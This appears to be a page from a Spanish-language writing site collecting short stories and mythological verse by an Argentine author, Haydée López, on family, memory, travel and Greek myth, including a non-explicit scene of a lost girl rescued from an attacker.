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Tengo preparada la valija. Miro a mi alrededor, ya nada me pertenece.  Objetos que estuvieron junto a mi durante tantos años, los que en algún momento concentraron mi atención y en los que invertí  tiempo y dinero. Muebles, tapices, alfombras, colecciones de monedas, estampillas, libros, discos....... Miro por la ventana el jardín, bastante descuidado ahora, ocupó muchas horas de mi vida, pero  me brindó grandes satisfacciones. Era difícil encontrar flores tan bellas y lozanas como las cultivadas por mi mano, y plantas de adorno con follaje saludable, de un verde resplandeciente. Puedo decir con orgullo que fue el  resultado de aprendizajes, investigaciones y experimentos.  No siempre obtuve el fin buscado pero la tenacidad me llevó muy cerca. En la pared, sobre la chimenea, desde  una foto que tiene muchos años, sonríen mis cuatro hijos. Recuerdo ese día, como si fuera hoy, después de cortar el pasto, los acomodé sobre una manta, Román, el mayor, atrás, sostiene entre sus brazos a   Eva, la más pequeña, adelante, Sergio y  Pilar, con su muñeca de  piernas largas. Centré la imagen y apreté el disparador. La llevé a revelar y nos  gustó tanto que la hice ampliar y enmarcar. Elegimos  para ubicarla, el lugar más importante de la casa. Los cuatro partieron, Román a Holanda, Sergio y Pilar a Australia, Eva  a Sudáfrica. Cada uno en busca de un mejor destino. Aunque el corazón trató de retenerlos, la razón dejó las puertas abiertas de par en par. Eva, la menor, intentó de todo para no irse, dio clases de música, hizo arreglos y adaptaciones para orquestas y conjuntos populares y  hasta formó parte de uno como tecladista, le insumió tiempo, energía y  obtuvo disgustos sin compensaciones, eso la decidió a buscar nuevos horizontes. Hace tres años, se radicó en Johannesburgo, allí trabaja y continúa sus estudios con  sacrificio pero con buenas posibilidades. Estoy en paz. Di todo lo que tenía. Para que cumplan su sueño: hipotequé mi casa,  uno a uno vendí  lo adquirido a través de muchos años, incluso la computadora  con la que diariamente nos comunicábamos. No estoy arrepentida, el hecho de saber que ya nada poseo, me llena de sosiego, me siento liviana, etérea...... ¡Ahora puedo decir que soy libre!. ¡He cortado las ataduras que me sujetaban a los bienes terrenales.! El  auto que viene por mi, se detiene frente a la casa y  se anuncia con dos bocinazos. Estiro mi brazo y desprendo el retrato de mis hijos. Lo llevo conmigo. Es personal  No está incluído en el inventario. Llaman a la puerta. Es la asistente del geriátrico. Me saluda y  levanta la  valija con mis pertenencias.-¿ Sólo esto?- Me pregunta compungida -Claro, -le respondo.- De ahora en adelante voy a ser  libre.      
Libre
Autor: haydee  441 Lecturas
   El marqués, eterno ausente, achacoso y deprimido se desentendió de su hija y ahora está arrepentido. La pequeña marquesita, de los cabellos cobrizos, después que un perro rabioso la mordiera en un tobillo, será llevada al  convento,  pues su madre así lo quiso,  Abrenuncio, viejo y sabio, por el marqués consultado,  tiene la fórmula justa que  logra reconfortarlo: “De lo más bello y más bueno, a la niña hay que rodear, no hay medicina que cure,  lo que la  felicidad” Sierva María es su nombre, criada entre los esclavos, de los que toma dialectos, costumbres y malos hábitos. En el patio de los negros, dedicados al servicio, pasa las horas y aprende sus trabajos y sus vicios. Llega al convento, el marqués, con su única  heredera, los ojos humedecidos de lágrimas verdaderas.  Del mismo modo retorna, dando recomendaciones  para el  cuidado de  Sierva, sus únicas pretensiones. . Desde que  Sierva llegó, extrañas cosas suceden y al no hallar una razón,  se santiguan y le temen. Sorprenden a las clarisas sus violentas reacciones cuando alguien osa tocar sus escasas posesiones De sus poderes ocultos, provenientes del averno, murmuran en los rincones, las internas del convento. La abadesa resolvió confinarla en una celda lejos de sus semejantes y con camisa de fuerza. A  Cayetano Delaura,  teólogo muy renombrado,  por su afición a los libros, eximio bibliotecario, el obispo, que lo aprecia, lo designó secretario,  asesor y confidente. Intuyó en él, a un preclaro. Le encomienda una tarea  por demás extraordinaria: “Dictaminar si la niña, debe ser exorcizada”. Cayetano, ensimismado, lo obsesiona su misión, busca ayuda en el Supremo y acata la decisión.  Se  conmueve y horroriza  al verla tan ultrajada,  metida en una camisa y con correas atada. Muy poco le deja hacer por su furioso rechazo, se retuerce, lo maldice, lo cubre de escupitajos. Asperga, el cura a la fiera, triste asume su fracaso, más volverá tantas veces, como sea necesario. Excepcionalmente ella acepta, por fin  una golosina. Está tan sola y tan triste que su presencia, la anima. La  marquesita ha pasado a ser  su prioridad Llueva ó truene, nada importa, a su lado quiere estar. Hasta el día que comprende, Cayetano la verdad. Lo que siente por la niña, no le  augura castidad. En su celda se flagela sin tener de sí piedad y al obispo, le confiesa lo que no puede callar. De inmediato es despojado de poder y autoridad. Nada importan los castigos, lo que deba ser, será En su mundo sólo cuenta este amor que es terrenal. No hay barrera que lo frene ni poder que sea igual. Los dos están condenados. La inquisición obrará. Haydée López.              
Amor prohibido
Autor: haydee  494 Lecturas
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  MI DESEO DE CONOCER BUZIOS, UN LUGAR recomendado  POR SUS PARTICULARES CARACTERÍSTICAS DE BELLOS PAISAJES, ARQUITECTURA COLONIAL, AGUAS TEMPLADAS Y CRISTALINAS, ADECUADOS PARA EL RELAX, SE CONCRETÓ. VOLVÍ A CÓRDOBA, DEJÉ PASAR UNOS DÍAS PARA QUE EL CANSANCIO Y LAS EMOCIONES NO INTERFIERAN EN LAS OPINIONES QUE VOY A EMITIR Y DE LAS QUE ME HAGO CARGO. EN EL GRUPO CON EL QUE VIAJÉ, HABÍA NIÑOS, JÓVENES Y VIEJOS.  BAJAMOS DEL MICRO QUE NOS TRASLADÓ DESDE RÍO. UN DESAGRADABLE OLOR A AGUAS SERVIDAS FUE LA RECEPCIÓN. AHÍ, MÁS DE UNO DESEÓ NO HABER ELEGIDO ESE DESTINO. HICIMOS DE TRIPAS CORAZÓN A LA ESPERA DE UN CAMBIO MILAGROSO. LAS EXCURSIONES Y PASEOS, MITIGARON, EN PARTE, LA DECEPCIÓN.  EL FÉTIDO HEDOR, ESTABA PRESENTE, AÚN EN LUGARES VIP COMO RUA DAS PEDRAS EN EL CENTRO DE BUZIOS. LA MAYORÍA DE LAS PLAYAS TIENE AGUAS CONTAMINADAS, PUDE VER CUANDO LOS BARCOS, MUY CERCA DE ELLAS, DERRAMABAN EL CONTENIDO DE SUS LETRINAS QUE LAS OLAS ARRASTRABAN HACIA EL LUGAR DONDE TOMÁBAMOS SOL. TUVIMOS SUERTE, SEIS DÌAS MARAVILLOSOS A PLENO SOL, EL SÉPTIMO AMANECIÓ LLOVIENDO Y CONTINUÓ HASTA EL PUNTO EN QUE EL AGUA DE LA CALLE, SOBRE EL NIVEL DE LAS CONSTRUCCIONES, INVADIÓ TODO Y COLAPSARON LOS POZOS, NO HAY CLOACAS. POR LAS REJILLAS DE LOS BAÑOS, EN LA PLANTA BAJA, TODO SE INUNDÓ Y EL OLOR SE HIZO INSOPORTABLE. DESDE EL MICRO QUE NOS VOLVÍA AL AEROPUERTO, VIMOS LAS CARAS ANGUSTIADAS DEL CONTINGENTE QUE DESEMBARCABA Y QUE DEBIÓ SOPORTAR  SUS VACACIONES CON PRONÓSTICO DE LLUVIAS, PARA EL RESTO  DE LA SEMANA Y SUS DESAGRADABLES CONSECUENCIAS.
AROMAS DE BUZIOS
Autor: haydee  934 Lecturas
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    Han pasado  años y no logro  identificarme  con aquélla imprudente y voluntariosa niña que fui. Llevada  por un  capricho, desoyó los consejos, desconoció los  límites, expuso  su vida, su integridad y la  de los suyos. Devano  recuerdos, para encontrar la punta del hilo en  esta confusa maraña,  para convertirla en  prolijo ovillo.    Estamos en la hermosa casa de los abuelos. Edificada sobre un promontorio, domina  un amplio sector de la playa. Ellos no vienen desde que el abuelo enfermó. Junto a mis padres y hermanos, de vez en cuando, venimos a disfrutarla. Cumplí nueve años y  al ser la menor de los tres, tengo algunos privilegios. Por lo general, hago lo que me gusta.  Con  mis  hermanos, Alejandro y Darío, es diferente, tienen obligaciones que cumplir. Mi padre, es,  en ese sentido, muy estricto. En tiempo de vacaciones, delega en ellos, la responsabilidad de cuidarme. Hoy  fue con mamá  a almorzar junto a un matrimonio amigo, no sin antes dejarnos  una cantidad de recomendaciones.  Comemos ligeramente lo que nos sirve Delia, la empleada, que vino con nosotros.   Después de almorzar, bajamos a la playa.  Ale y Darío juegan a la pelota, nunca me invitan ni me dejan participar. Aprovecho un descuido y corro a esconderme detrás de una roca, desde allí observo que no reparan en mí. Me alejo rapidísimo, tanto como mis piernas lo permiten, sostengo con la mano derecha  el sombrero que me protege del sol. Una ráfaga de viento cálido, lo arranca de mi cabeza y  lo lleva girando hacia el agua.  La ola que vuelve me lo trae, chapoteo  y estiro mis brazos para asirlo. Una nueva ráfaga lo levanta y  lo lleva mar adentro. Voy tras él. Una montaña líquida, cae sobre mí, me aturde con su violencia, me envuelve, me sofoca, se mete en mi boca,  mis oídos, mis ojos, me levanta, me sacude, me arroja con violencia  hacia la playa. En vano trato de asirme de algo que no encuentro, con fuerza irresistible, me siento arrastrar de nuevo mar adentro.   Siento el cuerpo machucado y dolorido y mucho frío. - ¡Mamá! ¡Nani! Grito con toda mi voz, pero nadie acude. Me incorporo, la oscuridad, me impide ver a mi alrededor. Busco la tecla de la  luz, pero han cambiado todo de lugar, ni siquiera entra el resplandor de la luna por el ventanal de mi dormitorio. Como una máscara, el rostro horrible, oscuro y surcado de arrugas, es lo primero que veo al despertar. Hace una mueca y deja ver en el agujero de la boca, unos restos amarillentos, gastados y malolientes. Giro la cabeza,  no hay nada conocido en este extraño y mísero lugar. No se cómo llegué hasta aquí. Se lo pregunto, señala con un dedo largo y huesudo su boca  y  niega con un gesto.  Ya veo, ¡además, es mudo!  Salgo. Tampoco afuera hay nada familiar. Mis piernas y brazos  están doloridos, llenos de rasguños y marcas  violáceas. Mi estómago, se retuerce de necesidades. En un tacho, negro de hollín, sobre unos leños encendidos, el viejo, revuelve con un palo, una mezcla espesa y  de olor repugnante. Le pido algo para comer, mete un plato abollado en  el tacho  y lo pone a mi alcance, chorreado y humeante. Junto al plato, deja un trozo de pan seco. Se sienta frente a mí. El hedor que desprende el mejunje me revuelve el estómago, le pregunto si tiene una manzana ó un yogur. Mueve la cabeza y abre ese horripilante agujero que tiene por boca. Devora su comida y se sirve más. Estarán buscándome, seguro. No creo que esta situación se prolongue.  Ni mis hermanos ni mis amigas  podrán creer cuando les relate mi aventura. Por ahora memorizaré cada  situación, siento no tener un diario para anotar esto que vivo. El viejo, es pescador, no me lo dijo porque no habla, pero metió las redes y un medio mundo en su bote descascarado, lo arrastró  hasta  el agua, se trepó y le dio impulso con los remos, no tardó en  convertirse en un punto en el horizonte,  moviéndose de aquí para allá como una frágil cáscara de nuez.. Camino por la playa, no puedo ir lejos, perdí mis zapatillas en el agua y por ropa tengo unos jirones, lo que queda de mi  exclusivo enterito de voile.   Me  despierta el insistente  zumbido de un helicóptero que sobrevuela el lugar. Espío por  un agujero de la covacha. El viejo, que vuelve de pescar, arrastra su bote hacia la playa.  El helicóptero baja  y  el  girar de sus  hélices,  levanta oleadas de arena. Bajan dos hombres de la Prefectura y  le hablan al viejo. Mueve su cabeza negando. No quiero que me vean y me escondo.  Por suerte, mis huellas las ha borrado la  tormenta de arena, que provocó la nave.  Como llegan se van. El viejo entra apresurado y  parece  aliviado, al descubrirme encogida en un rincón. Le fue bien en la venta del pescado, trajo azúcar,  pan fresco y  una bolsa con  manzanas. Tengo tanta hambre que devoro dos. Es mi tercer día lejos de casa, lamento no tener alguna crema, la  piel, sobre todo en los labios se reseca  hasta partirse con el sol tan fuerte. Me descompone el agua salada y tengo el pelo duro y  áspero. El pescador trae una bolsa de naranjas. El ardor del jugo ácido, me arranca lágrimas de dolor. Limpia unos peces,  se acerca  con  algo en la mano que  frota en mis  brazos y piernas.  Busca otro poco que pasa  suavemente por mi cara y  boca. Es  grasa  fresca de los animales que ha destripado. Hago un gesto de repugnancia, él  esa  mueca horrible que deja  ver su espantosa dentadura. Sospecho que es un amago de risa. A pesar del mal olor, comienzo a sentir alivio. Al otro día, yo misma  busco,  entre los desperdicios, trozos de grasa sanguinolenta. Es más efectiva que las costosas cremas que mamá compra en el shopping.  Calculo que hoy es sábado, hace cinco días  que vine a parar a este lugar.. No extraño a mis hermanos, ni a mis amigas, bueno, sólo a una,  Cecilia,  mi compañera del conservatorio. Es muy inteligente y los profesores le auguran  un   gran futuro como virtuosa del teclado. Le digo que será la próxima Marta Argerich, ella sonríe, se   siente halagada y  la emprende con las escalas. El viejo trae más pescados que lo habitual. Los limpia, yo recojo la grasa  y froto mis manos y cuerpo. Tengo los  labios sanos, voy a probar con el pelo, está muy enmarañado, aquí no hay un triste peine para desenredarlo. Anochece, oigo voces y corro a  esconderme. Debe ser  un conocido del viejo, lo recibe con un sonido gutural, idéntico al que emite cuando hace la horrible mueca. Me tapo con la bolsa que usa para llevar los peces y me acomodo en mi rincón. El alboroto me despierta, discuten, pelean,  escucho insultos, forcejeos. Alguien, que no es el pescador, entra  y se pone a  revolver  entre sus pertenencias.  Se perfila su  silueta a la luz de la luna. No respiro para evitar que me descubra. Viene hacia donde estoy, me encojo lo más que puedo, inútil, siento su aliento alcohólico muy cerca, palpa mis piernas. Quiero escapar pero me atrapa  con sus manos húmedas. Grito, llamo a papá, a mis hermanos. Ríe, no le importa mi desesperación. Deshace de un tirón lo que queda de mi ropa.  Quiero  escapar, pero me inmoviliza. Me aprieta, me sofoca, me siento morir..... Escucho un gemido, se desploma sobre mí, la única forma de liberarme es  impulsar las piernas con toda la fuerza  contra su cuerpo. Rueda a un costado y queda inmóvil, boca abajo. Aprovecho para  huir, tropiezo con algo. Es el mudo. Un rayo de luz, ilumina la escena.  Sujeta el mango  del cuchillo con que destripa los  pescados. La hoja, está  hundida en la espalda del  sujeto que me atacó. El pescador, tembloroso, gime. Tiene una gran herida en la cabeza. Le limpio con agua fresca. Le digo que va a estar bien  y  canto suavemente la  canción  con que Nany  me .acunaba  cuando era chiquita. El pescador se ha dormido profundamente. La luna ilumina la playa. Debo marcharme, busco algo para cubrirme y encuentro unas hojas de diario. Las aliso, están muy arrugadas. -¡Esa soy yo!, grito al ver mi foto impresa. Leo: Luciana  Aróstegui, se extravió el lunes 16  en  la  zona de playas, cercana al faro de Punta  Salcedo, tiene 9 años y  vestía un enterito de voile, color lavanda y zapatillas blancas. Cualquier dato que pueda aportar  será agradecido y recompensado. Sus padres y hermanos la buscan desesperadamente. Aprieto las hojas contra mi pecho y echo a correr. -¡Perdón, perdón, no quiero que sufran, no quiero, pronto estaré con ustedes!.  
Aventura en la playa
Autor: haydee  944 Lecturas
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          Es posible que la pasión por la historia y la mitología, que me inculcaron de niño, con el paso de los años y por carecer de otras motivaciones, se convirtió en obsesión. Mi vida, se repartió, en la adolescencia, entre el estudio y  un trabajo que de artesanal, pasó  a lo meramente práctico y rutinario. Respondía, habitualmente, a las necesidades de los clientes, gente de barrio que acudía a la fragua en busca de la seguridad relativa que podía brindarle una reja, un portón ó el refuerzo de las aberturas de sus hogares. De vez en cuando y era lo que más me gustaba, pedían una veleta para dar una categoría especial a sus tejados. El placer de calentar el metal hasta volverlo maleable, dominarlo a mi antojo y conseguir formas y volúmenes que respondían a mi efervescente imaginación, era muy gratificante, cuando lograba lo que me proponía. Al adolescente creativo y fantasioso, que bullía en mí, el  tío Hefaisto, opuso, valga la redundancia por tratarse de un herrero, su férrea voluntad y le ordenó que limitara sus esfuerzos a las exigencias de los clientes. Desde ese momento, el trabajo se hizo monótono y rutinario. Me convertí en un ser ensimismado y taciturno, al llegar a casa, me sumergía en la lectura. Ni la cariñosa solicitud de mi madre, ni más tarde  el amor de mi mujer, ni mi preciosa hijita, Casandra, lograron rescatarme de esa frustración. Deben haberme amado mucho para soportar a este hijo, esposo y padre fácilmente reemplazable por un cuadro ó una foto. Simplemente, me reduje a cumplir lo que consideré  mi obligación, es decir, proporcionar a mi familia lo suficiente para que nada les falte pero mi ceguera mental, me impidió ver que la privé de todo. Como al “Caballero dela Mancha, “la compulsión por cierta lectura, me secó el cerebro e hizo que me pareciera normal la vida que llevé,  hasta esa noche en que festejamos los siete años de Casandra.   La providencial caída que sufrí, absolutamente real, no  metafórica, mi cuerpo magullado y dolorido, vivo testimonio para corroborarla, me sacó de ese confuso estado en que el tiempo dejó de ajustarse a los valores establecidos y  produjo el caos en mi vida. Afortunadamente, después del caos, se hace la luz.   Casandra A la hija de Príamo y Hécuba, / Apolo, ofreció enseñar los secretos más ocultos   / del arte de adivinar. Casandra aceptó encantada, / aunque Apolo, le advirtió Que el pago será en “especies”/ por la ciencia que adquirió Dueña de las profecías, /  Casandra se vuelve atrás. Se niega  a pagar el precio./ Furioso,  Apolo, se va. Casandra, todo lo sabe /   el futuro y el ayer Pero el dios, la ha maldecido / Nadie le habrá de creer.                                          § El destino de Héctor, está signado por sus vivencias infantiles. En ellas es su tío, Hefaisto, la imagen paternal y dominante, hermano de su progenitora, herrero de profesión, de bondadoso carácter,  reemplaza al padre ausente y en ocasiones, a la sencilla  y  tímida mujer que es su madre. Ella intuye que  su pequeño, necesita una  referencia masculina como modelo a imitar y está convencida que no sería posible hallar  otra mejor.   Atentos, sus ojitos no pierden de vista al gigante, presto a  doblegar el hierro en la fragua  al golpe certero del martillo ó  rodeado de una constelación de estrellitas cuando usa el equipo de soldar, así pasa  en el taller buena parte del día.  Cuando Hefaisto  da por finalizado su trabajo, sienta al sobrino sobre las rodillas y relata episodios históricos y mitológicos incomprensibles para el niño, que  sigue  la vehemencia de las palabras y los gestos, con atenta e infantil inocencia.   Héctor es un buen alumno, la maestra lo distingue por sus conocimientos de historia y  por las citas mitológicas que emplea y que la obligan a desempolvar la biblioteca para estar a la altura del niño y no  ser tildada de ignorante.  El mejor premio que recibe, al terminar el ciclo primario, es un libro con escogidos relatos mitológicos y  el permiso para incursionar, durante las vacaciones, en el oficio de herrero, eso sí, bajo la supervisión de Hefaisto. Es todo lo que Héctor desea, aunque su tío, le advierte, que debe obtener por lo menos, un título secundario con orientación técnica, si quiere trabajar en su taller. Finaliza el secundario y cumple su deseo de trabajar en lo que más le gusta.  Hefaisto, el tío, entiende que ya no tiene nada más para enseñarle. El sobrino es un experto  y cada día delega en él, nuevas  funciones. Terminada la tarea pesada, Héctor, en su hogar, se dedica a la  lectura que más le apasiona, historia antigua y mitología.  Esa absorbente afición, lo transporta al mundo mágico y fantástico, de héroes fabulosos con poderes de dioses y debilidades de  hombres. Su atención se concentra en la página que lee, mientras come lo que su madre, solícita, le  pone en el plato.  Ella Intenta, de vez en cuando, iniciar una conversación que se vuelve monólogo e invariablemente languidece. Entonces, con un resignado : -“Hay cosas peores”  vuelve a sus tareas hogareñas.  Pasa el tiempo, Héctor es socio de su  tío. “ La Fragua  de Hefaisto”, da trabajo a muchos vecinos del lugar. La empresa, crece en proporción directa al  aumento de la inseguridad, lo que no es poco decir. En el tiempo que el trabajo y sus lecturas, le dejan libre, conoce a Helena, una hacendosa y linda chica. Durante el breve noviazgo, ella,  se entera de la obsesión de su  elegido. No le hace  perder el sueño. Se siente segura de poder modificarla. Al año de casados, son padres de una niña. La llaman Casandra, el nombre es elegido por el orgulloso papá. Helena, inmersa en su rol maternal, deja pasar el tiempo y a la larga, igual que su suegra, primero acepta y luego se resigna a  la ausente- presencia de su  marido. -Casi no habla, -le comenta a su mejor amiga- -Eso no es un defecto, es una virtud,-es la respuesta. Como  proveedor, es excelente, incansable en el trabajo, cariñoso, fiel.  Sabe de la vida matrimonial de sus hermanas y amigas, compara e infiere que debe conformarse y aceptar su manía  como un mal menor. Casandra celebra sus siete años, es una nena  preciosa que  llama la atención  por su prestancia  más que por su belleza, que no es poca. Tiene los ojos negros y brillantes como el pelo, la piel tersa y clara, de rosada trasparencia. La familia,  gente sencilla de barrio, se reúne junto a un grupo de amigos para agasajarla. Uno de ellos, recién llegado de Madrid, donde  actualmente reside,  deslumbrado por el encanto de la nena, con aduladora intención, desliza al oído del padre : –¡ Pronto, artillería pesada necesitarás  para correrle los pretendientes! Héctor, pensativo, mira   a su niña, que ajena a los comentarios, alborozada, recibe obsequios   y elogios. Helena, rodeada de  parientes y amigas, observa, escucha y  piensa  si ser la mamá de Casandra,  justifica seguir unida a ese hombre que la tiene condenada  al silencio.  Los invitados se van, Casandra, recoge papeles y  cajas y las coloca en una bolsa de residuos. Helena  y su marido, en silencio, levantan vasos y platos, desocupada la mesa, aprovecha Héctor para ir en busca de  su  última adquisición un voluminoso libro que  abre gozoso,  luego de  acomodarse en su   lugar preferido. Ella, vuelve a su rutina de silencios-cotidianos, mientras lava y acomoda la vajilla. Hay cosas peores, piensa. Concluida su tarea, llama a la pequeña y  después de dar  las buenas noches al marido y al padre, suben a sus habitaciones. Héctor, está releyendo la historia de Casandra,  princesa troyana, cuyo nombre rescató de la mitología para dárselo a su, hasta ahora,  única hija.   Ella se acerca, es la única  en atreverse  a  sacarlo del autismo en que se siente a sus anchas. La contempla asombrado, estará en  los quince años y es  tan hermosa, que siente una mezcla de admiración y temor. Necesita dinero para  ir de compras con una amiga. Es afortunada de tener un padre tan generoso. Roza ligeramente los labios en la mejilla de su progenitor y  desaparece. Vuelve a ensimismarse  en la  lectura, recuerda perfectamente el motivo que lo decidió a elegirle ese nombre. Las advertencias solapadas ó directas de familiares y amigos, referidas, las más osadas, al  dudoso  sostenimiento de la virtud de una hija tan  codiciada,  producen  una  transformación en  su conducta. Lo que no hizo de novio, lo hace de padre. Se convierte en vigilante- guardabosque.  Deja de ocuparse de la historia y la mitología. No tiene paz ni  tranquilidad para esos menesteres.  El tiempo que ahora le sobra, lo malemplea en rastrear las salidas de Casandra.  Regresa  del trabajo y  sorprende,  en la sala, a su hija junto a un extraño.  Está más linda que nunca,  se acerca sonriente y  le dice: - Apolo, es un amigo, nos vamos al cine,  volveremos temprano. Los ve subir al auto del joven, demasiado ostentoso para su gusto, silencioso, se pierde en la próxima esquina.  Comenta con  Helena,  ella lo toma como algo natural. -¡Se besaron en la boca! Grita ofuscado. -¿y...? responde ella, inmutable. Sale a tomar aire, adentro, se ahoga, la atmósfera es muy densa. Vuelve, abre sin entusiasmo un libro, son las 20hs.  no puede concentrarse en la lectura, las palabras pierden significado, las oraciones no tienen sentido. Lo cierra. Intenta un diálogo con su esposa que prepara la cena. Acostumbrada a sus eternos silencios, no responde. Hipnotizado mira correr las agujas del reloj, su plato, intacto, con la comida fría. Helena se retira, va a acostarse, esta mañana, se levantó muy temprano y está agotada.  Tiene sangre de pato, no se preocupa por su hija.-piensa Héctor indignado. Pasa otra hora, la impaciencia por verla  llegar  sana y salva, lo consume. Afuera estacionan un  auto. Deben ser ellos, se dice.  Casandra, resplandeciente,  se adelanta  y besa al padre. Como un perro rastreador, olfatea el perfume del muchacho, en la piel de su hija.  Empieza a  sentir un calor que lo abraza y  se  convierte en una energía maligna y destructiva. Casandra, entusiasmada, comenta la película,  sin reparar en la transformación  del padre, el eco de  sus  palabras golpea  los oídos de Héctor,  ¿ O  es quizás el  bullir furioso de su sangre?  Contiene un impulso Trata de calmarse. Apolo se acerca, ella toma dulcemente su mano. -Estudia futurología, pronto obtendrá su licenciatura. Traerá libros de su maestro, Alvin Toffler, la próxima vez que nos visite, que espero, sea muy pronto.  Quiero estudiar lo mismo, ¡es muy interesante! Apolo prometió enseñarme todo lo que  sabe. ¡Estoy  tan entusiasmada! ¡Creo que voy a convertirme en su alumna preferida! Como eyectado, el furioso padre, se precipita sobre Apolo con las peores intenciones. Los jóvenes ríen  mirándose a los ojos, ajenos al  humor de  Héctor, que desorbitado, vocifera: -¡Maldito, maldito!, ¿A cambio de qué le enseñarás tus patrañas a mi hija? Sus brazos se mueven como aspas de molino, busca asirlo por el cuello y no lo consigue, se  aleja rodeado por el amoroso abrazo de su Casandra.  En un supremo esfuerzo por alcanzarlos,  toma impulso y salta. El  estrépito de su caída,  provoca la  inmediata aparición de  Helena que, asustada y en camisa de dormir, baja las escaleras para auxiliarlo. Héctor, se incorpora ayudado por su mujer.  Nombra a Casandra y maldice a Apolo.   -¿Quién es Apolo? Pregunta Helena, desconcertada. -¿ Cómo que quién es?  El sinvergüenza ese que pretende enseñarle el don de las profecías, el que acaba de desaparecer con ella, grita su marido temblando de rabia. Dentro de esas paredes acostumbradas al silencio de sus moradores, los gritos del padre, provocan el súbito despertar de la niña que llora desconsolada  en el rellano de la escalera. Helena, nada entiende, sólo atina a  subir para calmar a la pequeña Casandra. Héctor, confundido, mira a su alrededor, sin comprender. Hace una promesa y jura cumplir. En adelante va a dedicar  tiempo y  atención a su familia. Cuando se jubile, dispondrá de muchas horas para leer lo que tanto le gusta. Con firme propósito, y el cuerpo todo magullado, sube lentamente por la escalera.     Autora: Haydée Magdalena López Argentina
Casandra
Autor: haydee  498 Lecturas
             Caminábamos  sin rumbo. Ninguno de nosotros conocía el lugar a donde nos llevaría el deseo de aventuras. Con  trece años y la posibilidad de darle a ese día feriado un sentido distinto, burlamos la autoridad de los mayores y partimos a la madrugada, cuando todos dormían  y la oscuridad favorecía nuestro propósito.  El calor, pasado mediodía, era insoportable. Sumado a la sed, el hambre y el cansancio, no podíamos estar  peor. Diego, Manuel, Mariano y yo, desfallecidos, buscamos el reparo del único árbol que pudimos  encontrar. Alguien sugirió que en pleno monte, a donde llegamos después de agotar las reservas físicas, conseguiríamos perdices, vizcachas, armadillos, en último caso, algunas palomas que  al volver, nos evitarían  la paliza segura por abandonar las tareas asignadas y escaparnos sin permiso de los viejos. Calculé que serían pasadas  las dos de la tarde,  llevábamos ocho horas  de caminar sin descanso, sin comida ni bebida. Me separé del grupo, con la boca seca, salí en busca de algo que mitigara esa atroz sensación. Los pastos, duros, no auguraban nada de lo que necesitábamos con urgencia, pero era tan grande mi ansiedad que no podía estar quieto. Bebía las gotas saladas, que desde la  frente se escurrían hasta mi boca. A mi alrededor, se extendía el monte  achaparrado  con pequeños arbustos de ramas  secas y retorcidas como garras extendidas, clamando al cielo por el milagro de la lluvia. Vencido, desfalleciente, con la ropa llena de abrojos, decidí pegar la vuelta para reunirme con los muchachos. Algo que sonó como un relincho, llamó mi atención, descubrí  un sendero que sin pensarlo dos veces, atravesé, con renovada esperanza. Ahí nomás se levantaba un rancho en aparentes buenas condiciones, me acerqué  golpeando las palmas. Un hombre, con atuendo de campo, camisa blanca, bombacha y chaleco negros, sombrero de fieltro y botas de montar, sostenía en su mano una fusta y  con la otra, acariciaba  el cogote de su potro que lo  estiraba para beber de  un balde. Tuve el impulso de precipitarme hacia el balde. Como adivinando mi intención, con un movimiento de la cabeza, el patrón me indicó el lugar, en donde un gran cántaro, entre plantas de un verde lustroso, mantenía la frescura de su maravilloso contenido. Un jarro enlozado, de color azul, atado con una cadenita, colgaba del costado del recipiente. Lo saqué chorreando el agua transparente y  creo que en mi vida, nunca algo me supo tan bien.  Repetí  la acción, satisfecho. Lo sumergí otra vez  y dejé escurrir el líquido por mi cabeza y cara, entonces fue cuando vi., en el fondo del jarro, una luna y tres pequeñas estrellas. Al mirar con detenimiento, comprobé que ese efecto lo creaban las cachaduras del enlozado.  La camisa quedó empapada  y alivió mi sofoco. El hombre,  silencioso, entró a su rancho y al momento apareció con un enorme pan. Apoyándolo contra su pecho, con un cuchillo de mango de hasta, cortó una generosa  rebanada  que me ofreció. Las gallinas se ocuparon de las migas que caían al piso. Si el agua me supo bien, la superó el exquisito sabor de ese pan casero, que aún tenía en su gruesa corteza, cenizas adheridas. Devoré el pan, me ofreció otra tajada que corrió la misma  suerte. Agradecí efusivamente, él siguió con su tarea, sin decir una palabra, no lo encontré raro, más bien propio de las personas montaraces. Satisfechas las necesidades, volví en busca de mis compañeros. Estaban en el mismo lugar y tan cansados y agobiados como cuando los dejé. Al verme tan animado, preguntaron la razón. -¡Vamos allí! gritaron, con el poco aliento que les quedaba, cuando terminé mi relato.  Fui guiándolos entre los churquis, la esperanza de llevar algo para saciar la sed y  los vacíos estómagos, aceleró la llegada. En vano, busqué el  sendero que me condujo hacia el rancho. Mi sentido de la orientación me indicaba que ese era el lugar. Los pastos, altos, secos y  duros arañaban brazos  y  piernas, yo no cejaba en mi intento de  llegar hasta el rancho que les había descrito con tanto detalle y en tan breve lapso se había esfumado. Ese era el lugar, por donde estaba seguro, se abría el sendero, pero allí  un extenso pajonal dificultaba el paso. Lo atravesé y a los saltos llegué  hasta donde estaba enclavado el rancho. Ruinosos escombros, tapados por la áspera maleza, era todo  lo que encontramos. Corrí hasta donde casi oculto entre el follaje el bendito cántaro sació mi angustiosa sed,  nada de eso  había. Removí los yuyos sin poder convencerme,  mi mano tropezó con  algo que estaba medio enterrado, y  a puro forcejeo salió a la luz. Era  la resquebrajada pared de un viejo cántaro unida  por  una oxidada cadena al jarro descolorido. Con el faldón de la camisa, limpié el fondo terroso del  recipiente, donde, con un poco de imaginación,  se podía ver una luna rodeada de estrellas. El viento empezó a soplar. En silencio, hicimos el penoso camino de regreso. Haydée   Viernes, 15 de agosto de 2008   
La excursión
Autor: haydee  439 Lecturas
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Sufre Deméter, la ausencia de Perséfone, la hija amada Quien por  Hades, un mal día, de su lado fue arrancada. Reina en el oscuro mundo de los muertos, tenebroso. Raptada fue y  en ese antro, domina junto a su esposo. Llora Deméter la ausencia, toma una medida extrema: Nada crecerá en la tierra si la joven no regresa. Todo se vuelve silencio, se agostan los mansos ríos, Un viento seco, asfixiante, ahoga todo lo vivo. Preocupado, Zeus llama a Hades y propone un justo trato Perséfone  ha de pasar , sobre la tierra medio año El resto, con su marido, en el mundo subterráneo. Deméter, feliz con su hija. Todo volverá a crecer. La tierra brinda sus frutos, en un feliz renacer. Cuando promedie el otoño, es tiempo de reposar y también en el invierno, para luego despertar. Cuando Perséfone vuelva, todo reverdecerá. Primaveras y veranos abundancia traerán  Haydée
